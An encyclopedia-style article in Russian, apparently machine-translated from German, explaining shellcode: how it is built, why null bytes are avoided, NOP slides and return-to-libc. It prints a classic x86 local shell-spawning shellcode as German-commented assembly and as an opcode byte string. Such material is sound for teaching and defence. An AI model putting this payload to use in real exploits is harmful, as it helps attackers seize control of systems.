Шелл-код

Шелл-код - это термин программирования, который описывает в основном очень небольшой фрагмент инструкций ассемблера, преобразованных в коды операций , с помощью которых предполагается манипулировать программой или системой или использовать ее для непреднамеренных целей. Часто пытается запустить оболочку , отсюда и название. Шелл- коды возникли в результате переполнения буфера и других атак путем внедрения кода, но они также могут использоваться в программном обеспечении , особенно в тестах на проникновение , в экспериментах и ​​в дидактике.

Создание шелл-кодов

Чтобы сгенерировать код оболочки, выполняемую команду можно написать на C и преобразовать с помощью компилятора . Сгенерированная программа теперь дизассемблирована (повторно переведена), и функциональность программы перепрограммирована на языке ассемблера. Многие инструкции можно опустить или сократить. Во многих эксплойтах код оболочки не должен содержать байт 0, потому что он отмечает конец строки в C. В общем, следует избегать других препятствий, например, разрешены только буквы и цифры, или буквы верхнего и нижнего регистра изменены, или необходимо придерживаться определенных смещений, что достигается путем заполнения более или менее творческими цепочками нулевых операций (так называемые слайды NOP ) возможно.

Вместо выполнения собственного кода, что не всегда возможно (например, при использовании защиты памяти ), вы также можете перейти непосредственно к нужным функциям, которые доступны, например, в самой программе или в загруженной библиотеке , например libc. Эта процедура называется возвратом в libc .

пример

Локальный шелл-код execve (/ bin / sh)

Код ассемблера (архитектура x86):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

Строка кода операции:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Однако этот код не очень умный, потому что он содержит нулевые байты и довольно длинный. Чтобы избежать «нежелательных символов», часто используются кодировщики, которые позволяют маскировать, а затем демаскировать эти символы и, возможно, также сжимают шелл-код. Существуют и другие методы определения адреса строки, кроме «jmp» или «call». Например, можно просто /bin/shзапихнуть в стек. Затем esp содержит адрес.

литература

  • Джек Козиол: Справочник шелкодера. Обнаружение и использование дыр в безопасности. Вили, Индианаполис В 2004 году, ISBN 0-7645-4468-3 .
  • Джон Эриксон: Запретный код. митп, Бонн 2004, ISBN 3-8266-1457-7 .

веб ссылки

Индивидуальные доказательства

  1. Источник: phrack.org ( Memento от 11 февраля 2008 года в интернет - архив )